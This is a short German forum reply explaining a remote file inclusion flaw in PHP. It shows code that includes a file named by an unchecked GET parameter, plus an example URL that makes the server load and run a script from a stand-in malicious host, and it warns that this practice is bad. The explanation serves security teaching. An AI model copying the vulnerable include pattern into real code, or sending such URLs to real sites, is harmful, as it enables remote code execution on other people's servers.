Hi Marian,
ich meine die sicherheitslücke, die du im include befürchtest. Da geht doch keiner dran außer ihr, wer sollte dann 'gefährliche' funktionen einbauen?
Beispiel:
<?php
//foo
include $_GET['page'] . ".php";
//bar
?>
Normalerweise soll die Seite so aufgerufen werden:
http://www.example.org/script.php?page=start
Eingebunden wird die start.php.
Jetzt rufe ich die Seite mal einfach mit:
http://www.example.org/script.php?page=http%3A%2F%2Fmeineboeseseite.de%2Fscript
Und wenn auf dem Server allow_url_fopen auf On steht, wird das Script von http://meineboeseseite.de/script.php eingebunden, ich habe also beliebigen Code eingeschleust. Mit readfile() wäre das nicht passiert.
Ganz unabhängig davon ist es natürlich _sehr schlecht_ den Wert $_GET['page'] ohne zu prüfen direkt zu verarbeiten, aber was soll man sagen - manche Leute machen es eben (fälschlicherweise) so.
MfG, Dennis.